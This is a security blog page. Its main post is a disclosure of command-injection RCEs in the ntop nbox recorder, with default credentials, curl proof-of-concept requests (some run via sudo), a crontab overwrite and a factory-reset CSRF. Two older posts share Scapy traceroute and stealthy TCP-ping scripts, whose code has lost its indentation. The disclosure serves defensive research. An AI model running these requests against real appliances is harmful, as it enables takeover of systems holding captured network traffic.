Showing posts with label Research. Show all posts
Showing posts with label Research. Show all posts

Monday, August 1, 2016

Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
pcap_tee.png
PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


wget http://apt.ntop.org/14.04/all/apt-ntop.deb
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


nervs.gif
Uh-oh...
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
neotrain1.jpg
Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



Screen Shot 2016-07-26 at 10.00.27.png





nodding.gif





(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!


Wednesday, February 25, 2009

Traceroute Collector/ Aggregator for Scapy

One of the main reasons I picked up Scapy is for the graphs. I have never been a visual guy, so Scapy is like magic when it comes to network mapping let alone network traffic manipulation. Well, I really liked Scapy's basic graphing features, but when you have a large set of hosts to trace route, it gets annoying popping up the graphs with the black hole hosts. This gets true when the hosts paths to the target network. Another thing that I wanted is the ability to group endpoints.

It took me about a week along with other work to get everything down (note last weeks post), but I think I managed to get a basic implementation. I set it up so I can perform a number of individiual traceroute operations, and then drop them in a collector of sorts. Then when all the traceroutes are complete, then you can generate graphs with grouped endpoints and then the blackholes are ommitted. I borrowed some code from Philippe's implementation of TracerouteResult.make_graph. There is alot of extra code in TracerouteCollector class because I was tried a few different ways of forming the graph. I eventually got so frustrated that I create a basic traceroute path string and parse that result. I attempted merging TracerouteResults as well as maintaining other stuff, but it got complex quick, which lead to more frustration.

Like I said in the end, I gave up on the native traceroute result object and built my own path string. Depending on whether the traceroute found the endpoint it ends up in a completed path or incompleted path bin. When I build the graph, I go through and group the results based on the path taken and the endpoint was reached. I also go through and enumerate all the ASNs. However, when nodes are grouped together, the ASN is based off the first IP address in the grouping. Otherwise, there will be extraneous nodes in the image. While I don't do this, someone could just prune the ASN results, but I have another project that I need to start on, so I did not get around to that.
I also have code that will write the traceroute trace, the graph, and then read in a traceroute trace from file. This might be useful if you want to do something else or save the traceroute for use later.


The class is meant to augment Scapy functionality so you would include it along with your Scapy includes:

# from scapy.all is imported in the trace_route_combine module
from trace_route_combine import *
t = TracerouteCollection()
x = traceroute("172.16.28.140", maxttl=18, dport=80)
t.add_route(x[0])
x = traceroute("172.16.28.141", maxttl=18, dport=80)
t.add_route(x[0])
x = traceroute("172.16.28.142", maxttl=18, dport=80)
t.add_route(x[0])
x = traceroute("172.16.27.140", maxttl=18, dport=80)
t.add_route(x[0])
x = traceroute("172.16.26.140", maxttl=18, dport=80)
t.add_route(x[0])
x = traceroute("172.16.24.140", maxttl=18, dport=80)
t.add_route(x[0])
# now to create the graph
t.do_graph()
# or get the graph string
gs = t.build_graph()
# get paths to all the trace routed hosts
# x> is a down host and => is an up host
paths = t.get_paths_to_hosts()


As usual the code is open source and licensed under GPL. If you like it let me know, if you hate it let me know too. This is experimental but usable code.

Code: trace_route_combine.py

Thursday, February 19, 2009

Quick Scapy Tutorial for Extending Tools: Batch Tcpping

Originally posted from here.

Like every good hacker with nothing to do, I have my hand in someone elses cookie jar learning how to do something cool. This week I took some time to learn how-to use Scapy 2.0, and I wrote a script to perform a batch TCP Ping. I am sure someone will say in the back of their mind...."there is this tool called nmap." I my response, yes I know and everyone uses that tool, I want to fly under the radar not into it. I am not saying what I did is guaranteeing I am not in that category, but its a step away from the crowd.

I wanted to control some of the data in the TCP segment (e.g. payload, sequence number, dport, sport, etc.), and I wanted something to tell me *waves hands in circles* if there was possibly an IPS or Firewall in my way that would be nice too. Basically, all this script does for the time being is takes a file to be expanded/reconned, and tcp-pings them with some randomized settings in the TCP Layer. Not novel and innovative, but a good learning exercise. There are a couple of other directions that I would like to take this, but for the time being, I figure I would share what I have and what I learned. This is for Scapy 2.0+, there was a major software change between the 2 releases. I am going to basically list the interesting parts of my code and explain what I am doing. I learn by example, and in this fast furious world of "teh netz", I am sure others do too. I have been told my posts are a tad lengthy, so I will just hit the highlights.

I know there is logic that I can put in the script to make it a little smarter and faster, but for now, it can serve as a good tutorial for others. Apparently, Google Blogger might be distorting the code a bit, but it can be seen in it's full Pythonic whitespaced beauty here

Step 1. Importing Scapy into the script and silencing the verbosity:

from scapy.all import *
# default conf.verbose = 2
conf.verbose = 0


Step 2. Create my Tcp-Ping Packet and send it along the way

def tcp_ping_host(host, port=80, ppayload=None, to=1):
# host is the ip-address string
# sport is the dst-port to scan from
# seq number is current seq number of the packet
# if we want to mix it up and add arbtrary payloads
# simply make ppayload into a string, or a RandString(size, chars)
p = IP(dst=host)/TCP(dport=port, sport=RandShort(), seq=RandShort())
if ppayload:
p.payload = str(ppayload)
pOpen = False
hIPS = False
# send a single packet and wait for to*1 Seconds for a response
a = sr1(p, timeout=to)
#p.show2()
# if the answer,a, is None, the host did not respond
# if a is a response, and it is ICMP and type == 1
# then the host is unreachable, port unreachable indicates
# there may be a host there (UDP) type scan
# a.haslayer(ICMP) checks if the packet has an ICMP layer
# a.getlayer(ICMP) gets the instance of the layer and then
# the fields for that layer can be referenced, e.g.
# a.getlayer(ICMP).type lets us access the type field
if a is None:
return a, False, False, False
elif a.haslayer(ICMP) and a.getlayer(ICMP).code != 3\
and a.getlayer(ICMP).type != 3:
return a, False, False, False
# 0x12 are the Syn-Ack in the flag fields of the TCP Segment
pOpen = a.haslayer(TCP) and (a.getlayer(TCP).flags == 0x12)
# try with a bad-sum
# some IPS/IDS/Firewalls respond to all packets, so lets mix
# it up and shoot a random/bad checksum at them
# to do this we will take p and modify the chksum to be a random
# short value and send it along (Idea was grabbed from nmap docs)
t = p.getlayer(TCP)
t.chksum = RandShort()
b = sr1(p, timeout=to)
# if we get a reply, its safe to say the host is FAIL
# or its a security device.
if not b is None:
hIPS = True
# fini. hope it was as fun for you as it was for mw.
# Spent all day in the coffee shop on this one, yay!
return a, True, hIPS, pOpen



There is some other functionality hidden away in the script like scanning a set of ports randomly, scanning hosts in random order, resuming a scan (or adding hosts to a do not scan list, etc.), but I have not tested all that stuff, but its there. I also posted some code a few light years ago on OpenRCE about using Scapy. Anyway enough talk, time for bed. Hope this was helpful to some. Have a good weekend.

As always here is my code: scapy_tcpping.py